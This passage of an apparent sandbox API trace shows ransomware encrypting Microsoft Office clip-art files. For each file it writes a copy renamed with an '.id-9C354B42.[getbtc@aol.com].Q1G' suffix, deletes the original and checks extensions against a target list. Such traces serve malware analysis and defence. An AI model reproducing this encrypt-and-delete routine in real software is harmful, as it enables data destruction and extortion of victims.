dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.287] GetLastError () returned 0x0 [0265.287] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x1388, lpOverlapped=0x0) returned 1 [0265.288] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0265.289] ReadFile (in: hFile=0x37c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.289] WriteFile (in: hFile=0x390, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.289] SetEndOfFile (hFile=0x390) returned 1 [0265.289] CloseHandle (hObject=0x390) returned 1 [0265.289] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.289] SetEndOfFile (hFile=0x37c) returned 1 [0265.291] CloseHandle (hObject=0x37c) returned 1 [0265.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.292] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187921.wmf")) returned 1 [0265.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.292] lstrlenW (lpString=".doc") returned 4 [0265.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.292] lstrlenW (lpString=".docx") returned 5 [0265.292] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.292] lstrlenW (lpString=".pdf") returned 4 [0265.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.292] lstrlenW (lpString=".xls") returned 4 [0265.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.293] lstrlenW (lpString=".xlsx") returned 5 [0265.293] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.293] lstrlenW (lpString=".ppt") returned 4 [0265.293] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString=".zip") returned 4 [0265.293] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.293] lstrlenW (lpString=".rar") returned 4 [0265.293] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString=".bz2") returned 4 [0265.293] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString=".7z") returned 3 [0265.293] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString=".dbf") returned 4 [0265.293] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString=".1cd") returned 4 [0265.293] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString=".jpg") returned 4 [0265.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.293] lstrlenW (lpString=".doc") returned 4 [0265.293] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString=".docx") returned 5 [0265.293] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.293] lstrlenW (lpString=".pdf") returned 4 [0265.293] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.293] lstrlenW (lpString=".xls") returned 4 [0265.293] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.293] lstrlenW (lpString=".xlsx") returned 5 [0265.293] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.293] lstrlenW (lpString=".ppt") returned 4 [0265.294] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.294] lstrlenW (lpString=".zip") returned 4 [0265.294] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.294] lstrlenW (lpString=".rar") returned 4 [0265.294] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.294] lstrlenW (lpString=".bz2") returned 4 [0265.294] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.294] lstrlenW (lpString=".7z") returned 3 [0265.294] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.294] lstrlenW (lpString=".dbf") returned 4 [0265.294] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.294] lstrlenW (lpString=".1cd") returned 4 [0265.294] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187921.WMF") returned 63 [0265.294] lstrlenW (lpString=".jpg") returned 4 [0265.294] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.294] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.294] lstrlenW (lpString="J0188511.WMF") returned 12 [0265.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0265.327] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=10716) returned 1 [0265.327] CloseHandle (hObject=0x3c4) returned 1 [0265.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 0x20 [0265.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.348] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.348] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.349] GetLastError () returned 0x0 [0265.349] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x29dc, lpOverlapped=0x0) returned 1 [0265.377] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x29e0, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x29e0, lpOverlapped=0x0) returned 1 [0265.378] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.378] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.378] SetEndOfFile (hFile=0x39c) returned 1 [0265.378] CloseHandle (hObject=0x39c) returned 1 [0265.378] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.378] SetEndOfFile (hFile=0x1bc) returned 1 [0265.380] CloseHandle (hObject=0x1bc) returned 1 [0265.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188511.wmf")) returned 1 [0265.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.381] lstrlenW (lpString=".doc") returned 4 [0265.381] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString=".docx") returned 5 [0265.381] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.381] lstrlenW (lpString=".pdf") returned 4 [0265.381] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString=".xls") returned 4 [0265.381] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.381] lstrlenW (lpString=".xlsx") returned 5 [0265.381] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.381] lstrlenW (lpString=".ppt") returned 4 [0265.381] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.381] lstrlenW (lpString=".zip") returned 4 [0265.381] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.381] lstrlenW (lpString=".rar") returned 4 [0265.381] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString=".bz2") returned 4 [0265.381] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString=".7z") returned 3 [0265.381] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.381] lstrlenW (lpString=".dbf") returned 4 [0265.381] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.381] lstrlenW (lpString=".1cd") returned 4 [0265.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".jpg") returned 4 [0265.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".doc") returned 4 [0265.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString=".docx") returned 5 [0265.382] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0265.382] lstrlenW (lpString=".pdf") returned 4 [0265.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString=".xls") returned 4 [0265.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.382] lstrlenW (lpString=".xlsx") returned 5 [0265.382] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0265.382] lstrlenW (lpString=".ppt") returned 4 [0265.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".zip") returned 4 [0265.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.382] lstrlenW (lpString=".rar") returned 4 [0265.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString=".bz2") returned 4 [0265.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString=".7z") returned 3 [0265.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".dbf") returned 4 [0265.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".1cd") returned 4 [0265.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188511.WMF") returned 63 [0265.382] lstrlenW (lpString=".jpg") returned 4 [0265.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.383] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.383] lstrlenW (lpString="J0188587.WMF") returned 12 [0265.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.383] GetFileSizeEx (in: hFile=0x1bc, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=15196) returned 1 [0265.383] CloseHandle (hObject=0x1bc) returned 1 [0265.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 0x20 [0265.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0265.384] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.384] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.384] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.384] GetLastError () returned 0x0 [0265.384] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x3b5c, lpOverlapped=0x0) returned 1 [0265.407] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0x3b60, lpOverlapped=0x0) returned 1 [0265.408] ReadFile (in: hFile=0x1bc, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x0, lpOverlapped=0x0) returned 1 [0265.408] WriteFile (in: hFile=0x39c, lpBuffer=0x38f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesWritten=0x2c9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0265.408] SetEndOfFile (hFile=0x39c) returned 1 [0265.408] CloseHandle (hObject=0x39c) returned 1 [0265.408] SetFilePointerEx (in: hFile=0x1bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.408] SetEndOfFile (hFile=0x1bc) returned 1 [0265.410] CloseHandle (hObject=0x1bc) returned 1 [0265.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0265.443] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188587.wmf")) returned 1 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.444] lstrlenW (lpString=".doc") returned 4 [0265.444] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString=".docx") returned 5 [0265.444] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.444] lstrlenW (lpString=".pdf") returned 4 [0265.444] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString=".xls") returned 4 [0265.444] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.444] lstrlenW (lpString=".xlsx") returned 5 [0265.444] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.444] lstrlenW (lpString=".ppt") returned 4 [0265.444] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.444] lstrlenW (lpString=".zip") returned 4 [0265.444] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.444] lstrlenW (lpString=".rar") returned 4 [0265.444] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString=".bz2") returned 4 [0265.444] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString=".7z") returned 3 [0265.444] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.444] lstrlenW (lpString=".dbf") returned 4 [0265.444] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.444] lstrlenW (lpString=".1cd") returned 4 [0265.444] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.444] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".jpg") returned 4 [0265.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".doc") returned 4 [0265.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString=".docx") returned 5 [0265.445] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0265.445] lstrlenW (lpString=".pdf") returned 4 [0265.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString=".xls") returned 4 [0265.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0265.445] lstrlenW (lpString=".xlsx") returned 5 [0265.445] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0265.445] lstrlenW (lpString=".ppt") returned 4 [0265.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".zip") returned 4 [0265.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0265.445] lstrlenW (lpString=".rar") returned 4 [0265.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString=".bz2") returned 4 [0265.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString=".7z") returned 3 [0265.445] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".dbf") returned 4 [0265.445] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".1cd") returned 4 [0265.445] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0265.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188587.WMF") returned 63 [0265.445] lstrlenW (lpString=".jpg") returned 4 [0265.445] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0265.446] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0265.446] lstrlenW (lpString="J0188679.WMF") returned 12 [0265.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.446] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c9ff1c | out: lpFileSize=0x2c9ff1c*=13162) returned 1 [0265.446] CloseHandle (hObject=0x39c) returned 1 [0265.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf")) returned 0x20 [0265.446] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0265.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0265.447] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.447] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c9fec8 | out: lpNewFilePointer=0x0) returned 1 [0265.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0188679.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0188679.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0265.447] GetLastError () returned 0x0 [0265.447] ReadFile (in: hFile=0x39c, lpBuffer=0x38f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c9fed4, lpOverlapped=0x0 | out: lpBuffer=0x38f0020*, lpNumberOfBytesRead=0x2c9fed4*=0x336a, 